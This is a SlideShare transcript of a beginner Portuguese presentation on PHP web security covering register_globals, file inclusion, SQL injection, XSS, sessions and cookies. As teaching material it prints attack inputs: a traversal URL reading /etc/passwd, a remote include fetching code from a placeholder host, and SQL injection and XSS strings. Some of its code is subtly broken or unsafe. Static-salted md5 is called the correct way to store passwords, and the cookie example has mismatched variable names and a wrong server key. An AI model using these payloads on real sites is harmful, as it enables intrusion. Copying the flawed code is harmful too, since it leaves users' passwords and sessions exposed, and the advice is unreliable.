SlideShare uma empresa Scribd logo
Hello SAFE World!!!
 Conceitos mínimos de segurança em PHP




              Dalmir da Silva
          dalmirdasilva@gmail.com

        Everaldo Wanderlei Uavniczak
           everaldouav@gmail.com
Sobre a apresentação

Nível:
Iniciante



Escopo:
Básico de segurança em Web, direcionado a PHP



Pré-requisitos:
Nenhum
Vantagens do PHP


fácil aprendizado



tipagem dinâmica (fraca)



é uma linguagem interpretada
Desvantagens do PHP


tipagem dinâmica



inicialização automática de variáveis



configurações padrão não priorizam a segurança
A função error_reporting()

Define quais erros serão reportados

Aconselhado em Desenvolvimento:
error_reporting(E_ALL|E_STRICT); // 6143
ou
error_reporting(2147483647);
Aconselhado em Produção
error_reporting(0);



Veja php.net/error_reporting
Reforçando: error_reporting


 CRIEM O HÁBITO
DE USAR A FUNÇÃO
  error_reporting()
   NO INÍCIO DO
    SCRIPT PHP
Casting
intval()
floatval()
strval()
(int), (integer) - molde para inteiro
(bool), (boolean) - converte para booleano
(float), (double), (real) para número de ponto flutuante
(string) - converte para string
(binary) - converte para string binária (PHP 6)
(array) - converte para array
(object) - converte para objeto
(unset) - converte para NULL (PHP 5)

settype (&$var , $type )
Verifique o tipo da variável

is_int()
is_float()
is_numeric()
is_string()
is_escalar () // int, float, string, bool
is_resource()
is_object()
is_numeric()
is_null()
is_array()
is_bool

gettype()
Register Globals

                           Padrão
PHP < 4.2.0: true
PHP >= 4.2.0: false
PHP 6:         false (diretiva removida)
Maioria dos servidores web = true

http://testepeste.com/index.php?teste=booo
if TRUE:
$teste = 'booo';
$_GET['teste'] = 'booo';

if FALSE
$_GET['teste'] = 'booo';
$teste = ??? ; // variável não setada
Registe Globals - Problemas

http://testepeste.com/?autorizado=true
<?php
if (usuario_autenticado()){
$autorizado = true;
}
if ($autorizado){
include '/dados/altamente/sensiveis.php';
}

http://testepeste.com/?arquivo=../../etc/passwd
<?php
include "meus_script/$arquivo";
Incluindo arquivos

   include() e include_once()
   require() e require_once()
   readfile()

Arquivos que precisam de processamento PHP
require($file);

if ( file_exists($file) ) {
    include($file);
} else {
    // tratamento de erro
}

Arquivos que não precisam de processamento PHP
readfile($file);
allow_url_include

        Padrão na maioria dos servidores web
allow_url_include = 'off'

<?php
include($_GET['file']);


http://testepeste.com/include.php?file=teste.
php

http://testepeste.com/include.php?file=http:
//hell.com/hahaha.txt
Pseudo-Casting

                Nome de Arquivos
$f=eregi_replace('[^a-zA-Z0-9_-]', '', $f);



                      CEP
$cep = eregi_replace('[^0-9-]', '', $cep);



                Data de Nascimento
$dn = eregi_replace('[^0-9/]', '', $dn);
Criptografia de senhas

                    Errado:

$senha = md5($senha);



                        Certo:

$privatekey =
'dfmlkashfdkjahbiHIUT*&gjvhsdsva87%RgGYR';

$senha=md5($privatekey.$senha.$privatekey);
SQL Injection
http://testepeste.com?relatorio.php?nome=Nome
SELECT * FROM `user` WHERE nome='Nome'
http://testepeste.com?relatorio.php?nome=' or 1
SELECT * FROM `user` WHERE nome=' ' or 1
-----------------------------------------------
http://testepeste.com?auth.php?
login=admin&passwd=123
SELECT * FROM `user` WHERE login='admin' AND passwd='123'
http://testepeste.com?auth.php?login=admin'#&passwd=
SELECT * FROM `user` WHERE login='admin'#' AND passwd=
-------------------------------------------------------
Se magic_quotes_gpc estiver on pode duplicar as barras,
entao use uma funcao
function my_escape_strings( $string ) {
   if ( !get_magic_quotes_gpc() )
         return mysql_escape_string( $string );
     else
         return $string;
}
XSS - Cross-Site Scripting
Consiste em Inserir conteúdo em HTML e JS no banco de
dados ou na página que quando exibidos fazem algo

   htmlentities()
   htmlspecialchars() //substitui

& (ampersand) torna-se '&amp;'
" (aspas dupla) torna-se '&quot;'
' (aspas simples) torna-se '&#039;'
< (menor que) torna-se '&lt;'
> (maior que) torna-se '&gt;'

   strip_tags() //remove
<p onmouseover='alert(1)'>algo</p> ficaria paenas algo
Arquivo de Senha

      SEMPRE FORA DA ÁRVORE WEB

Exemplo:

/index.php
/funcoes.php
/outros_milhares_de_arquivos.php

../xyz_super_secret_pass.php
Extensão dos arquivos .php


SEMPRE USEM EXTENSÕES .php

       JAMAIS USEM .inc

SE PRECISAREM, USEM .inc.php

.inc nao é interpretado como .php,
                óbvio
SESSION
session_start();
session_regenerate_id(true);

Ao registrar a sessão, grave o IP e verifique se ele mudou

if (!isset($_SESSION['ip'])) {
    $_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
}

if ($_SESSION['ip'] !== $_SERVER
['REMOTE_ADDR']) {
    session_destroy();
    die('alguma mensagem');
}
COOKIE

Nunca salve somente o ID no cookie:
Exemplo:
cookie="100"

Use algo como
$cookie="100:7559e8cf919ecac5f918383ea07618b7"

sendo
$private_key = "djklHIU6*&%fytarsd76F67Gy7";
$validate = $_SERVER
['REMOTE_ADDRESS'].$id.$privatekey;

$cookie   = "$id:$validate";
Impeça acesso direto ao arquivo

Use constatante para controle:

// arquivo index.php
define ("TESTEPESTE_SECURITY", true);

// arquivos incluídos
if (!defined('TESTEPESTE_SECURITY')) {
      die ('Você não pode acessar esse arquivo
              diretamente') ;
}
// continua o script
Referência

http://shiflett.org/php-security.pdf
http://php.net/
http://phpsec.org/php-security-guide.pdf

Mais conteúdo relacionado

Mais procurados

Segurança PHP - por Samyr Abdo
Segurança PHP - por Samyr AbdoSegurança PHP - por Samyr Abdo
Segurança PHP - por Samyr Abdo
Samyr Abdo
 
Proxy, Man-In-The-Middle e testes
Proxy, Man-In-The-Middle e testesProxy, Man-In-The-Middle e testes
Proxy, Man-In-The-Middle e testes
Stanislaw Pusep
 
Escrevendo códigos php seguros
Escrevendo códigos php segurosEscrevendo códigos php seguros
Escrevendo códigos php seguros
Douglas V. Pasqua
 
Segurança Web com PHP5
Segurança Web com PHP5Segurança Web com PHP5
Segurança Web com PHP5
Douglas V. Pasqua
 
Aprofunde se no php 5.3
Aprofunde se no php 5.3Aprofunde se no php 5.3
Aprofunde se no php 5.3
Marcus Vinicius Leandro
 
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
Rafael Jaques
 
Otimização e Escalabilidade
Otimização e EscalabilidadeOtimização e Escalabilidade
Otimização e Escalabilidade
metzen
 
PHP like a super hero
PHP like a super heroPHP like a super hero
PHP like a super hero
Elton Minetto
 
JS Experience 2017 - Javascript Funcional
JS Experience 2017 - Javascript FuncionalJS Experience 2017 - Javascript Funcional
JS Experience 2017 - Javascript Funcional
iMasters
 
Oficina postgresql avançado_consegi2010
Oficina postgresql avançado_consegi2010Oficina postgresql avançado_consegi2010
Oficina postgresql avançado_consegi2010
Fabrízio Mello
 
React e Ratchet, async e websockets com PHP, por Gabriel Couto
React e Ratchet, async e websockets com PHP, por Gabriel CoutoReact e Ratchet, async e websockets com PHP, por Gabriel Couto
React e Ratchet, async e websockets com PHP, por Gabriel Couto
iMasters
 
Php Test Fest PHPMS, Maio 2008
Php Test Fest PHPMS, Maio 2008Php Test Fest PHPMS, Maio 2008
Php Test Fest PHPMS, Maio 2008
zehzinho
 
Pdo do PHP Palestra
Pdo do PHP PalestraPdo do PHP Palestra
Pdo do PHP Palestra
Bartolomeu S. Gusella
 
PHP e PostgreSQL: Um é pouco, dois é bom, três é demais
PHP e PostgreSQL: Um é pouco, dois é bom, três é demaisPHP e PostgreSQL: Um é pouco, dois é bom, três é demais
PHP e PostgreSQL: Um é pouco, dois é bom, três é demais
Fabrízio Mello
 
Brasiliatestfest
BrasiliatestfestBrasiliatestfest
Brasiliatestfest
paulovitorbal
 
Php 07 Cakephp
Php 07 CakephpPhp 07 Cakephp
Php 07 Cakephp
Regis Magalhães
 
JasperReports
JasperReportsJasperReports
JasperReports
Vitor Mattos
 
Privilégios de processos no OpenSolaris
Privilégios de processos no OpenSolarisPrivilégios de processos no OpenSolaris
Privilégios de processos no OpenSolaris
Rafael Barbolo
 
Let's log!
Let's log!Let's log!
Let's log!
Elton Minetto
 
Aula 02 - Introdução ao PHP - Programação Web
Aula 02  - Introdução ao PHP - Programação WebAula 02  - Introdução ao PHP - Programação Web
Aula 02 - Introdução ao PHP - Programação Web
Dalton Martins
 

Mais procurados (20)

Segurança PHP - por Samyr Abdo
Segurança PHP - por Samyr AbdoSegurança PHP - por Samyr Abdo
Segurança PHP - por Samyr Abdo
 
Proxy, Man-In-The-Middle e testes
Proxy, Man-In-The-Middle e testesProxy, Man-In-The-Middle e testes
Proxy, Man-In-The-Middle e testes
 
Escrevendo códigos php seguros
Escrevendo códigos php segurosEscrevendo códigos php seguros
Escrevendo códigos php seguros
 
Segurança Web com PHP5
Segurança Web com PHP5Segurança Web com PHP5
Segurança Web com PHP5
 
Aprofunde se no php 5.3
Aprofunde se no php 5.3Aprofunde se no php 5.3
Aprofunde se no php 5.3
 
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
 
Otimização e Escalabilidade
Otimização e EscalabilidadeOtimização e Escalabilidade
Otimização e Escalabilidade
 
PHP like a super hero
PHP like a super heroPHP like a super hero
PHP like a super hero
 
JS Experience 2017 - Javascript Funcional
JS Experience 2017 - Javascript FuncionalJS Experience 2017 - Javascript Funcional
JS Experience 2017 - Javascript Funcional
 
Oficina postgresql avançado_consegi2010
Oficina postgresql avançado_consegi2010Oficina postgresql avançado_consegi2010
Oficina postgresql avançado_consegi2010
 
React e Ratchet, async e websockets com PHP, por Gabriel Couto
React e Ratchet, async e websockets com PHP, por Gabriel CoutoReact e Ratchet, async e websockets com PHP, por Gabriel Couto
React e Ratchet, async e websockets com PHP, por Gabriel Couto
 
Php Test Fest PHPMS, Maio 2008
Php Test Fest PHPMS, Maio 2008Php Test Fest PHPMS, Maio 2008
Php Test Fest PHPMS, Maio 2008
 
Pdo do PHP Palestra
Pdo do PHP PalestraPdo do PHP Palestra
Pdo do PHP Palestra
 
PHP e PostgreSQL: Um é pouco, dois é bom, três é demais
PHP e PostgreSQL: Um é pouco, dois é bom, três é demaisPHP e PostgreSQL: Um é pouco, dois é bom, três é demais
PHP e PostgreSQL: Um é pouco, dois é bom, três é demais
 
Brasiliatestfest
BrasiliatestfestBrasiliatestfest
Brasiliatestfest
 
Php 07 Cakephp
Php 07 CakephpPhp 07 Cakephp
Php 07 Cakephp
 
JasperReports
JasperReportsJasperReports
JasperReports
 
Privilégios de processos no OpenSolaris
Privilégios de processos no OpenSolarisPrivilégios de processos no OpenSolaris
Privilégios de processos no OpenSolaris
 
Let's log!
Let's log!Let's log!
Let's log!
 
Aula 02 - Introdução ao PHP - Programação Web
Aula 02  - Introdução ao PHP - Programação WebAula 02  - Introdução ao PHP - Programação Web
Aula 02 - Introdução ao PHP - Programação Web
 

Destaque

TOR (The Onion Router): Navegue com privacidade na Internet
TOR (The Onion Router): Navegue com privacidade na InternetTOR (The Onion Router): Navegue com privacidade na Internet
TOR (The Onion Router): Navegue com privacidade na Internet
Everaldo Wanderlei Uavniczak
 
TOR - Navegando na internet sem ser rastreado
TOR - Navegando na internet sem ser rastreadoTOR - Navegando na internet sem ser rastreado
TOR - Navegando na internet sem ser rastreado
Alexandro Silva
 
Tchelinux 2009 - Otimização de sites para motores de busca
Tchelinux 2009 - Otimização de sites para motores de buscaTchelinux 2009 - Otimização de sites para motores de busca
Tchelinux 2009 - Otimização de sites para motores de busca
Everaldo Wanderlei Uavniczak
 
Quick Form DataBase (QFDB)
Quick Form DataBase (QFDB)Quick Form DataBase (QFDB)
Quick Form DataBase (QFDB)
Everaldo Wanderlei Uavniczak
 
SEO: (Search Engine Optimization) Otimização de buscas de Sites
SEO: (Search Engine Optimization) Otimização de buscas de SitesSEO: (Search Engine Optimization) Otimização de buscas de Sites
SEO: (Search Engine Optimization) Otimização de buscas de Sites
Everaldo Wanderlei Uavniczak
 
jQuery Simplificando o JavaScript
jQuery Simplificando o JavaScriptjQuery Simplificando o JavaScript
jQuery Simplificando o JavaScript
Everaldo Wanderlei Uavniczak
 
32 Ways a Digital Marketing Consultant Can Help Grow Your Business
32 Ways a Digital Marketing Consultant Can Help Grow Your Business32 Ways a Digital Marketing Consultant Can Help Grow Your Business
32 Ways a Digital Marketing Consultant Can Help Grow Your Business
Barry Feldman
 

Destaque (7)

TOR (The Onion Router): Navegue com privacidade na Internet
TOR (The Onion Router): Navegue com privacidade na InternetTOR (The Onion Router): Navegue com privacidade na Internet
TOR (The Onion Router): Navegue com privacidade na Internet
 
TOR - Navegando na internet sem ser rastreado
TOR - Navegando na internet sem ser rastreadoTOR - Navegando na internet sem ser rastreado
TOR - Navegando na internet sem ser rastreado
 
Tchelinux 2009 - Otimização de sites para motores de busca
Tchelinux 2009 - Otimização de sites para motores de buscaTchelinux 2009 - Otimização de sites para motores de busca
Tchelinux 2009 - Otimização de sites para motores de busca
 
Quick Form DataBase (QFDB)
Quick Form DataBase (QFDB)Quick Form DataBase (QFDB)
Quick Form DataBase (QFDB)
 
SEO: (Search Engine Optimization) Otimização de buscas de Sites
SEO: (Search Engine Optimization) Otimização de buscas de SitesSEO: (Search Engine Optimization) Otimização de buscas de Sites
SEO: (Search Engine Optimization) Otimização de buscas de Sites
 
jQuery Simplificando o JavaScript
jQuery Simplificando o JavaScriptjQuery Simplificando o JavaScript
jQuery Simplificando o JavaScript
 
32 Ways a Digital Marketing Consultant Can Help Grow Your Business
32 Ways a Digital Marketing Consultant Can Help Grow Your Business32 Ways a Digital Marketing Consultant Can Help Grow Your Business
32 Ways a Digital Marketing Consultant Can Help Grow Your Business
 

Semelhante a Hello SAFE World!!!

Memcached, Gearman e Sphinx
Memcached, Gearman e SphinxMemcached, Gearman e Sphinx
Memcached, Gearman e Sphinx
Elton Minetto
 
Prog web 02-php-primeiros-passos
Prog web 02-php-primeiros-passosProg web 02-php-primeiros-passos
Prog web 02-php-primeiros-passos
Regis Magalhães
 
PHP MySQL Aula 07
PHP MySQL Aula 07PHP MySQL Aula 07
PHP MySQL Aula 07
Carlos Santos
 
Validação e Operações CRUD em PHP
Validação e Operações CRUD em PHPValidação e Operações CRUD em PHP
Validação e Operações CRUD em PHP
Breno Vitorino
 
Qualidade no desenvolvimento de software com PHPUnit
Qualidade no desenvolvimento de software com PHPUnitQualidade no desenvolvimento de software com PHPUnit
Qualidade no desenvolvimento de software com PHPUnit
Diego Tremper
 
PHP FrameWARks - FISL
PHP FrameWARks - FISLPHP FrameWARks - FISL
PHP FrameWARks - FISL
Marcio Albuquerque
 
Código legado - PHP Conference Brasil - 2014
Código legado - PHP Conference Brasil - 2014Código legado - PHP Conference Brasil - 2014
Código legado - PHP Conference Brasil - 2014
Michael Castillo Granados
 
Segurança PHP em 2016
Segurança PHP em 2016Segurança PHP em 2016
Segurança PHP em 2016
Er Galvão Abbott
 
Ganhando tempo com casos de testes
Ganhando tempo com casos de testesGanhando tempo com casos de testes
Ganhando tempo com casos de testes
Michael Castillo Granados
 
Php 03 Sessoes Cookies Cabecalhos
Php 03 Sessoes Cookies CabecalhosPhp 03 Sessoes Cookies Cabecalhos
Php 03 Sessoes Cookies Cabecalhos
Regis Magalhães
 
LabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurançaLabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurança
Carlos Santos
 
Zend Framework
Zend FrameworkZend Framework
Zend Framework
Adler Medrado
 
Dev Ext PHP
Dev Ext PHPDev Ext PHP
Dev Ext PHP
Andre Golvea
 
apostila.pdf
apostila.pdfapostila.pdf
apostila.pdf
DenilsonNunes13
 
PHPSP TestFest 2009
PHPSP TestFest 2009PHPSP TestFest 2009
PHPSP TestFest 2009
Rafael Dohms
 
Pg2
Pg2Pg2
Pg2
csmp
 
Pgads42
Pgads42Pgads42
Pgads42
csmp
 
Fundamentos Replicação MySQL
Fundamentos Replicação MySQLFundamentos Replicação MySQL
Fundamentos Replicação MySQL
Alexandre Almeida
 
Segurança (in portuguese)
Segurança (in portuguese)Segurança (in portuguese)
Segurança (in portuguese)
Bruno Pedro
 
Curso de Introdução - PHP
Curso de Introdução - PHPCurso de Introdução - PHP
Curso de Introdução - PHP
Evandro Klimpel Balmant
 

Semelhante a Hello SAFE World!!! (20)

Memcached, Gearman e Sphinx
Memcached, Gearman e SphinxMemcached, Gearman e Sphinx
Memcached, Gearman e Sphinx
 
Prog web 02-php-primeiros-passos
Prog web 02-php-primeiros-passosProg web 02-php-primeiros-passos
Prog web 02-php-primeiros-passos
 
PHP MySQL Aula 07
PHP MySQL Aula 07PHP MySQL Aula 07
PHP MySQL Aula 07
 
Validação e Operações CRUD em PHP
Validação e Operações CRUD em PHPValidação e Operações CRUD em PHP
Validação e Operações CRUD em PHP
 
Qualidade no desenvolvimento de software com PHPUnit
Qualidade no desenvolvimento de software com PHPUnitQualidade no desenvolvimento de software com PHPUnit
Qualidade no desenvolvimento de software com PHPUnit
 
PHP FrameWARks - FISL
PHP FrameWARks - FISLPHP FrameWARks - FISL
PHP FrameWARks - FISL
 
Código legado - PHP Conference Brasil - 2014
Código legado - PHP Conference Brasil - 2014Código legado - PHP Conference Brasil - 2014
Código legado - PHP Conference Brasil - 2014
 
Segurança PHP em 2016
Segurança PHP em 2016Segurança PHP em 2016
Segurança PHP em 2016
 
Ganhando tempo com casos de testes
Ganhando tempo com casos de testesGanhando tempo com casos de testes
Ganhando tempo com casos de testes
 
Php 03 Sessoes Cookies Cabecalhos
Php 03 Sessoes Cookies CabecalhosPhp 03 Sessoes Cookies Cabecalhos
Php 03 Sessoes Cookies Cabecalhos
 
LabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurançaLabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurança
 
Zend Framework
Zend FrameworkZend Framework
Zend Framework
 
Dev Ext PHP
Dev Ext PHPDev Ext PHP
Dev Ext PHP
 
apostila.pdf
apostila.pdfapostila.pdf
apostila.pdf
 
PHPSP TestFest 2009
PHPSP TestFest 2009PHPSP TestFest 2009
PHPSP TestFest 2009
 
Pg2
Pg2Pg2
Pg2
 
Pgads42
Pgads42Pgads42
Pgads42
 
Fundamentos Replicação MySQL
Fundamentos Replicação MySQLFundamentos Replicação MySQL
Fundamentos Replicação MySQL
 
Segurança (in portuguese)
Segurança (in portuguese)Segurança (in portuguese)
Segurança (in portuguese)
 
Curso de Introdução - PHP
Curso de Introdução - PHPCurso de Introdução - PHP
Curso de Introdução - PHP
 

Hello SAFE World!!!

  • 1. Hello SAFE World!!! Conceitos mínimos de segurança em PHP Dalmir da Silva dalmirdasilva@gmail.com Everaldo Wanderlei Uavniczak everaldouav@gmail.com
  • 2. Sobre a apresentação Nível: Iniciante Escopo: Básico de segurança em Web, direcionado a PHP Pré-requisitos: Nenhum
  • 3. Vantagens do PHP fácil aprendizado tipagem dinâmica (fraca) é uma linguagem interpretada
  • 4. Desvantagens do PHP tipagem dinâmica inicialização automática de variáveis configurações padrão não priorizam a segurança
  • 5. A função error_reporting() Define quais erros serão reportados Aconselhado em Desenvolvimento: error_reporting(E_ALL|E_STRICT); // 6143 ou error_reporting(2147483647); Aconselhado em Produção error_reporting(0); Veja php.net/error_reporting
  • 6. Reforçando: error_reporting CRIEM O HÁBITO DE USAR A FUNÇÃO error_reporting() NO INÍCIO DO SCRIPT PHP
  • 7. Casting intval() floatval() strval() (int), (integer) - molde para inteiro (bool), (boolean) - converte para booleano (float), (double), (real) para número de ponto flutuante (string) - converte para string (binary) - converte para string binária (PHP 6) (array) - converte para array (object) - converte para objeto (unset) - converte para NULL (PHP 5) settype (&$var , $type )
  • 8. Verifique o tipo da variável is_int() is_float() is_numeric() is_string() is_escalar () // int, float, string, bool is_resource() is_object() is_numeric() is_null() is_array() is_bool gettype()
  • 9. Register Globals Padrão PHP < 4.2.0: true PHP >= 4.2.0: false PHP 6: false (diretiva removida) Maioria dos servidores web = true http://testepeste.com/index.php?teste=booo if TRUE: $teste = 'booo'; $_GET['teste'] = 'booo'; if FALSE $_GET['teste'] = 'booo'; $teste = ??? ; // variável não setada
  • 10. Registe Globals - Problemas http://testepeste.com/?autorizado=true <?php if (usuario_autenticado()){ $autorizado = true; } if ($autorizado){ include '/dados/altamente/sensiveis.php'; } http://testepeste.com/?arquivo=../../etc/passwd <?php include "meus_script/$arquivo";
  • 11. Incluindo arquivos include() e include_once() require() e require_once() readfile() Arquivos que precisam de processamento PHP require($file); if ( file_exists($file) ) { include($file); } else { // tratamento de erro } Arquivos que não precisam de processamento PHP readfile($file);
  • 12. allow_url_include Padrão na maioria dos servidores web allow_url_include = 'off' <?php include($_GET['file']); http://testepeste.com/include.php?file=teste. php http://testepeste.com/include.php?file=http: //hell.com/hahaha.txt
  • 13. Pseudo-Casting Nome de Arquivos $f=eregi_replace('[^a-zA-Z0-9_-]', '', $f); CEP $cep = eregi_replace('[^0-9-]', '', $cep); Data de Nascimento $dn = eregi_replace('[^0-9/]', '', $dn);
  • 14. Criptografia de senhas Errado: $senha = md5($senha); Certo: $privatekey = 'dfmlkashfdkjahbiHIUT*&gjvhsdsva87%RgGYR'; $senha=md5($privatekey.$senha.$privatekey);
  • 15. SQL Injection http://testepeste.com?relatorio.php?nome=Nome SELECT * FROM `user` WHERE nome='Nome' http://testepeste.com?relatorio.php?nome=' or 1 SELECT * FROM `user` WHERE nome=' ' or 1 ----------------------------------------------- http://testepeste.com?auth.php? login=admin&passwd=123 SELECT * FROM `user` WHERE login='admin' AND passwd='123' http://testepeste.com?auth.php?login=admin'#&passwd= SELECT * FROM `user` WHERE login='admin'#' AND passwd= ------------------------------------------------------- Se magic_quotes_gpc estiver on pode duplicar as barras, entao use uma funcao function my_escape_strings( $string ) { if ( !get_magic_quotes_gpc() ) return mysql_escape_string( $string ); else return $string; }
  • 16. XSS - Cross-Site Scripting Consiste em Inserir conteúdo em HTML e JS no banco de dados ou na página que quando exibidos fazem algo htmlentities() htmlspecialchars() //substitui & (ampersand) torna-se '&amp;' " (aspas dupla) torna-se '&quot;' ' (aspas simples) torna-se '&#039;' < (menor que) torna-se '&lt;' > (maior que) torna-se '&gt;' strip_tags() //remove <p onmouseover='alert(1)'>algo</p> ficaria paenas algo
  • 17. Arquivo de Senha SEMPRE FORA DA ÁRVORE WEB Exemplo: /index.php /funcoes.php /outros_milhares_de_arquivos.php ../xyz_super_secret_pass.php
  • 18. Extensão dos arquivos .php SEMPRE USEM EXTENSÕES .php JAMAIS USEM .inc SE PRECISAREM, USEM .inc.php .inc nao é interpretado como .php, óbvio
  • 19. SESSION session_start(); session_regenerate_id(true); Ao registrar a sessão, grave o IP e verifique se ele mudou if (!isset($_SESSION['ip'])) { $_SESSION['ip'] = $_SERVER['REMOTE_ADDR']; } if ($_SESSION['ip'] !== $_SERVER ['REMOTE_ADDR']) { session_destroy(); die('alguma mensagem'); }
  • 20. COOKIE Nunca salve somente o ID no cookie: Exemplo: cookie="100" Use algo como $cookie="100:7559e8cf919ecac5f918383ea07618b7" sendo $private_key = "djklHIU6*&%fytarsd76F67Gy7"; $validate = $_SERVER ['REMOTE_ADDRESS'].$id.$privatekey; $cookie = "$id:$validate";
  • 21. Impeça acesso direto ao arquivo Use constatante para controle: // arquivo index.php define ("TESTEPESTE_SECURITY", true); // arquivos incluídos if (!defined('TESTEPESTE_SECURITY')) { die ('Você não pode acessar esse arquivo diretamente') ; } // continua o script